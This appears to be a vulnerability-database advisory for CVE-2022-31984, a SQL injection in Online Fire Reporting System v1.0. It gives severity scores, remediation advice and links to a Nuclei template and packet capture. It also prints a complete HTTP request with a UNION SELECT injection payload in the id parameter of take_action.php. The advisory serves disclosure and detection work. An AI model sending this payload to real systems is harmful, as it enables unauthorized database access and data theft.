| Title | Online Fire Reporting System v1.0 - SQL injection |
|---|---|
| Author | theamanrawat |
| Severity | High |
| Impact | Successful exploitation of this vulnerability could lead to unauthorized access, data leakage, or manipulation of the database. |
| Remediation | To remediate this issue, ensure that all user-supplied input is properly validated and sanitized before being used in SQL queries. |
| CVSS Score | 7.2 |
| EPSS Score | 0.23519 |
| CVE ID | CVE-2022-31984 |
| CWE ID | CWE-89 |
| Tags | cve2022 cve sqli online-fire-reporting online_fire_reporting_system_project vkev vuln |
Online Fire Reporting System v1.0 is vulnerable to SQL Injection via /ofrs/admin/requests/take_action.php?id=.
GET /admin/requests/take_action.php?id=6'+UNION+ALL+SELECT+md5('8391'),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--+- HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-31984.yaml
🦈 Packet Capture: ⬇️ Download cve-2022-31984.pcap
N/AN/A